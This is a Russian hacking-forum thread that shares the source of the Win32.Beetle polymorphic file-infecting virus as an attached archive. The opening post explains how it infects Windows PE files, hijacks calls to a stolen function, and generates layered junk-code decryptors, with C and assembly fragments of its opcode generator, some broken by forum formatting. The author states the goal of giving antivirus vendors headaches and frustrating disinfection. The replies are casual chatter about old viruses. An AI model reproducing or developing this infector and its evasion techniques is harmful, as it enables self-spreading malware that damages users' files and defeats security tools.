Исходник полиморфа Win32.Beetle

Тема в разделе "Исходники вирусов", создана пользователем Антоха, 2 июл 2014.

↑ ↓
  1. Антоха Администратор
    Антоха
    Ответить в чате

    Администрация

    Регистрация:
    26.12.2012
    Сообщения:
    3.181
    Симпатии:
    11.095
    Пол:
    Мужской
    Репа:
    +11.243 / 47 / -6
    Jabber:
    Skype:
    Скопипиздил статейку и исходник с сайта delfcode.ru.

    Доброго времени суток.

    Исходник полиморфа Win32.Beetle.
    Автор pest.
    Характеристики

    - заражает PE файлы (DLL/EXE);
    - не изменяет атрибутов секций заражаемого файла;
    - в исполняемой секции хранит первый полиморфный декриптор;
    - расширяет последнюю секцию и хранит там полезную нагрузку, грабленные данные, дополнительную информацию; все это хранится в шифрованном виде и с разными ключами;
    - для передачи управления на первый декриптор применяет технику "Расширенный EPO";
    - второй декриптор построен по технологии "Адский треш", который призван усложнить лечение;
    - написан на си с асм вставками;
    - каждый зараженный файл будет содержать полезную нагрузку.
    Принцип работы

    Каждый зараженный файл будет играть роль носителя полезной нагрузки. В качестве примера рассмотрим зараженный winmine.exe, у которого в качестве полезной нагрузки будет calc.exe.
    Секции зараженного файла:

    [​IMG]

    Шифрованные данные в последней секции выглядят так:

    [​IMG]

    После запуска файла с помощью расширенного EPO произойдет переход на первый декриптор:

    [​IMG]

    Первый полиморфный декриптор располагается на месте одной сграбленной функции из оригинального файла, и поэтому этот декриптор имеет ограниченный размер:

    [​IMG]
    [​IMG]

    Декриптор выделяет память, копирует данные из последней секции, расшифровывает второй «адский» декриптор и передает управление на него.

    Адский декриптор представляет очень большое количество вложенных полиморфных функций. И операции декриптора «размазаны» по этим функциям.

    Начало второго декриптора:

    [​IMG]
    После его исполнения расшифруется шеллкод, который запустит полезную нагрузку и восстановит всю краденную информацию у зараженного файла, продолжит его управление.

    [​IMG]
    Для заражения файлов используется две техники:

    - расширенное EPO
    - адский треш
    Расширенное EPO

    Поиск CALL производится не от точки входа, а по всей исполняемой секции. Причем для поиска не применяются никакие сложные алгоритмы. Алгоритм выглядит так:

    1. ищет байт 0xE8 и определяет адрес перехода;
    2. смотрит, если адрес попадает в диапазон исполняемой секции, то переходит на него, иначе на пункт 1;
    3. после перехода читает первые байты и сравнивает со стандартным прологом push ebb / mov ebp,esp. Если условие выполняется — считает, что функция найдена, иначе пункт 1.

    После таких нехитрых операций вирус получает все call вызовы в программе.
    Далее он пытается определить размер этих функций. Для этого выполняет следующий алгоритм:

    1. По найденным call адресам идет дизассемблером длин.
    2. И смотрит опкоды ret/ret xx: если они равны, то это есть минимальная длина функции.

    В результате получится список функций и длина. Используя эти данные, инфектор рандомно выбирает одну, «крадет» ее и встраивает туда свой первый декриптор. Но нужно не забывать, что на эту функцию могут указывать релоки, которые "изуродуют" код декриптора. И чтобы этого не произошло, нужно отключить релоки для адресов, которые переходят внутрь функции.

    Кроме этого, инфектор не знает логику выполнения программы, и, возможно, что эта грабленная функция никогда не исполнится. Для увеличения вероятности он переадресует несколько случайно выбранных call на код, а точнее на полиморфный декриптор.

    Полиморфный генератор

    Любой генератор должен уметь создавать произвольные опкоды. В инфекторе генерация элементарных опкодов производится достаточно просто. Для генерации инструкций в памяти введены следующие функции для работы с памятью:

    Код:
    struct BLOCK{
          
    uint32    size;
          
    uint8*    data;
    };
     
    bool add_block(BLOCK *b,uint8data,int size){
          if (!
    b->size){
            
    b->data=(uint8*)malloc(size);
            if (!
    b->data) return false;
          }else{
            
    b->data=(uint8*)realloc(b->data,b->size+size);
            if (!
    b->data) return false;
          }
          
    memcpy(&b->data[b->size],data,size);
          
    b->size+=size;
          return 
    true;
    }  
    Описание регистров и основных операций:

    Код:
     enum REG{
          
    _RAX=0,
          
    _RCX=1,
          
    _RDX=2,
          
    _RBX=3,
          
    _RSP=4,
          
    _RBP=5,
          
    _RSI=6,
          
    _RDI=7,
    };
     
    enum OP2{
          
    _XOR 0x30,
          
    _ADD 0x00,
          
    _SUB 0x28,
          
    _AND 0x20,
          
    _OR 0x08,
          
    _MOV 0x88,
          
    _CMP 0x38,
          
    _TEST =0x82,
    };  

    И сделаны простые функции, которые генерируют как один опкод, так целый класс опкодов:

    Код:
     struct OPCODE_2{
          
    uint8 o1;
          
    uint8 o2;
    };
     
    int _OP_RR(BLOCK *b,uint32 o,uint8 r1,uint8 r2,bool x64=false){
          
    int i=0;
          if (
    x64){
            
    uint8 pref=0x48;
            
    add_block(b,(uint8*)&pref,sizeof(pref));
            
    i++;     
          }
     
          
    OPCODE_2 op;
          
    op.o1=0x03+o&0xFF;
          
    op.o2=0xC0+r2+8*r1;
          
    add_block(b,(uint8*)&op,sizeof(OPCODE_2));
          
    i+=2;
          return 
    i;
    }
     
    int _PUSH_R(BLOCK *b,uint8 reg){
          
    int i=1;
          
    uint8 op=0x50|reg;
          
    add_block(b,&op,1);
          return 
    i;
    }  

    … их там много …
    Количество опкодов можно легко наращивать.
    Вот пример простого декриптора:

    Код:
          mov edxkey
          mov eax
    data
          mov ecx
    size/4
    l1
    :
          xor [
    eax],edx
          add eax
    4
          loop l1  

    А вот как это будет выглядеть с использованием функций:

    Код:
        BLOCK b;
        
    b.size=0;
        
    int i=0;
        
    l+=_OP_RC(&b_MOV_RDXkey);
        
    l+=_OP_RC(&b_MOV_RAXdata);
        
    l+=_OP_RC(&b_MOV_RCXsize/4);
        
    int l1=l;
        
    l+=_OP_ArR(&b_XOR_RAX_RDX);
        
    l+=_OP_RC(&b_ADD_RAX4);
        
    l+=LOOP(l1-(l+2));  

    Этот код уже легко можно усложнить, например, между инструкциями добавлять мусор, менять регистры, морфить основные команды. Все это реализовано при генерации первого декриптора. А вот второй декриптор будет гораздо сложнее.

    "Адский" мусор

    Для усложнения декриптора было решено генерировать большое количество вложенных функций и инструкции декриптора размазать по ним.

    В первом декрипторе одна инструкция равна одной полезной команде. Было решено одну полезную инструкцию, пусть будет "mov eax, 0x12345678", помещать в функцию. В результате должен получиться такой код:

    Код:
        push ebp
        mov ebp
    esp
        sub esp
    local_size
        trash_1 — мусорные инструкции
        mov eax
    0x12345678 — полезная команда
        trash_2 — мусорные инструкции
        leave
        ret  

    В результате таких нехитрых действий можно потерять значение eax после выполнения кода в trash_2. Так как trash может генерировать различные инструкции, которые будут работать с eax. Для этого был введен "контекст", в котором задаются рабочие регистры. И если при генерации мусора выполняется работа с рабочим регистром, то он заносится в локальную переменную для этой функции.

    Код:
    struct REG_ITEM{[/I]
          
    uint32 value//значение регистра     
    uint32 local//номер локальной переменной
          
    bool st//флаг включения регистра
          
    bool l_st//флаг, информирующий, что регистр перемещен в локальную переменную
    };
     
    REG_ITEM reg[8];  

    И вот пример, как это будет работать:

    1. инструкция, которая должна быть сгенерирована: "mov eax, 12345678";
    2. инициализируется количество локальных переменных: 8*8+‹rnd›*8 (0x88);
    3. reg[_RAX].st=true; указывает, что _RAX - рабочий регистр;
    4. инициализируется номер переменной для хранения регистра: reg[_RAX].local=‹rnd›*8 (0x80);
    5. В случае генерации мусора, который будет использовать eax, значение регистра будет перемещено в локальную переменную по смещению 0x80;
    6. Когда нужно будет выполнить команду, регистр выгружается из переменной и используется в полезной инструкции.

    Вот так выглядит одна функция, которая выполняет mov eax, 12345678:

    [​IMG]

    Назовем такой генератор gen_call_op. Так как сейчас можно контролировать состояние регистров в генерируемых функциях. Можно строить более сложные конструкции. Например, генерировать несколько функций, и объединяю их в func4:

    Код:
        func1:
        ..
        
    func2:
        ..
        
    func3:
        
    mov eax,12345678
        …
     
        func4
    :
        
    call func1
        trash1
        call func2
        trash2
        call func3
        trash3  

    И так можно сделать несколько слоев. Граф выполнения всего одной полезной команды выглядит так:

    [​IMG]

    В этом графе полезная инструкция может быть на месте любой функции. Для данного графа функция, которая содержит инструкцию, обведена красным квадратом. Назовем такой генератор gen_tree_op.
    И вот из таких инструкций (gen_tree_op) инфектор строит свой декриптор. По моему, выглядит «адски».

    [​IMG]

    Не составит труда переделать его под x64, большинство инструкций отличаются лишь префиксом.

    Свойства генератора:

    - Данный способ позволяет генерировать инструкции практически любой сложности.
    - Поиск полезных инструкций становится крайне затруднительным статическим анализом.
    - Генерируемый код похожий на тот, который генерируют компиляторы.
    - Не строит код, по которому можно было бы взять сигнатуру.

    Шеллкод

    Код, который выполняет полезную нагрузку и восстанавливает грабленные части файла: cвободно-релоцируемый и написан полностью на си. Обычно такой код пишется на ассемблере, возможно, для версии x64 придется его и использовать, но для x86 можно обойтись си. Принцип написания базонезависимого кода был взят из вируса 0x02 pr0m1x. Из критических изменений можно выделить поиск базы kernel32.dll. В моем коде ищется через PEB, перечисляются все имена загруженных dll и считается их хеш. Такой способ работает на всей линейке XP до WIN8.

    Выводы:

    - расширенный OEP усложняет детект вируса ав;
    - первый и второй полиморфный декриптор усложняют детект вируса;
    - второй полиморфный декриптор усложняет статический поиск необходимых значений для расшифровки остальных частей, что значительно осложнит лечение;
    - минимум аномалий после заражения файла;
    - файл сильно перестроен после заражения, что тоже должно сильно усложнить лечение.

    Все эти характеристики должны создать головную боль аверам, и если это будет так, то все мои труды были потрачены не зря.
     

    Вложения:

    • beetle.rar
      Размер файла
      803,7 КБ
      Просмотров:
      46
    • Мне нравится Мне нравится x 8
  2. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.812
    Симпатии:
    432
    Пол:
    Мужской
    Репа:
    +966 / 152 / -29
    Jabber:
    Skype:
    ICQ:

    638294628

    Это статья из E-Zine !

    А вообще интересно актуальны-ли сейчас такие вирусы ?

    Раньше помню много таких было, которые заражали док-файлы и т.д.

    Сейчас уже давно таких не встречал, кроме стиллеров, кейлоггеров, ботнетов что-то ничего и не попадается !

    А года-так два назад, частенько ловил червей, было как-то заражение док-файла, а также помню когда ещё учился в инсте какой-то длл-кеш что-ли вирус поймали сетка была заражена, даже каспер с др. вебом не могли помочь, такой противный вирус хрен от него избавишься ! NO-no!!!
     
    • Мне нравится Мне нравится x 5
  3. MorviCool Пользователь
    MorviCool
    Ответить в чате

    Первый уровень

    Регистрация:
    28.07.2014
    Сообщения:
    20
    Симпатии:
    9
    Пол:
    Мужской
    Репа:
    +9 / 0 / -0
    Лайкну за эту вещь
     
  4. 1s2z Пользователь
    1s2z
    Ответить в чате

    Первый уровень

    Регистрация:
    18.02.2015
    Сообщения:
    16
    Симпатии:
    1
    Пол:
    Женский
    Репа:
    +1 / 0 / -0
    поставил виндовс 95 на ней норм работает на хр тоже виндовс 7 еще не проверял
     
  5. Bless Пользователь
    Bless
    Ответить в чате

    Первый уровень

    Регистрация:
    30.11.2014
    Сообщения:
    19
    Симпатии:
    14
    Пол:
    Мужской
    Репа:
    +14 / 0 / -0
    Давным давно я файловые вирусы часто ловил.. Сейчас такое чудо редко встретишь.. Например солитер.. Тот еще гаденыш)
     
    • Мне нравится Мне нравится x 1
  6. Anubis Уважаемый пользователь
    Anubis
    Ответить в чате

    Форумчанин

    Регистрация:
    22.11.2012
    Сообщения:
    702
    Симпатии:
    2.100
    Пол:
    Мужской
    Репа:
    +2.139 / 5 / -10
    мож салити все же? а не солитер - косынка - селитёр ха-ха-хаха-ха-хаха-ха-ха
     
    • Мне нравится Мне нравится x 2
  7. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.812
    Симпатии:
    432
    Пол:
    Мужской
    Репа:
    +966 / 152 / -29
    Jabber:
    Skype:
    ICQ:

    638294628

    Dmeh-Smeh-Smeh!!!
     
    • Мне нравится Мне нравится x 1
  8. Bless Пользователь
    Bless
    Ответить в чате

    Первый уровень

    Регистрация:
    30.11.2014
    Сообщения:
    19
    Симпатии:
    14
    Пол:
    Мужской
    Репа:
    +14 / 0 / -0
    ой.. Не придирайся) я явно перепутал слова) как раз-таки в то время я и пытался понять суть этой игры) в это же время и заразился. А у меня память не очень) вернее, я плохо ее систематизирую..
     
    • Мне нравится Мне нравится x 1
  9. EmilyFox627 Житель форума
    EmilyFox627
    Ответить в чате

    Форумчанин

    Регистрация:
    29.07.2016
    Сообщения:
    15
    Симпатии:
    3
    Репа:
    +3 / 0 / -0
    Skype:
    Черви это КЛАСС !!! смех-смех!!! У меня исходнички некоторых червей завалялись , совсем пыльные стали смех-смех!!!
     
Похожие темы:
  1. Garo)
    Ответов:
    24
    Просмотров:
    5.525
  2. Garo)
    Ответов:
    11
    Просмотров:
    1.900
  3. Антоха
    Ответов:
    1
    Просмотров:
    1.299
  4. X-Shar
    Ответов:
    4
    Просмотров:
    1.506
  5. X-Shar
    Ответов:
    0
    Просмотров:
    1.089
Загрузка...

Поделиться этой страницей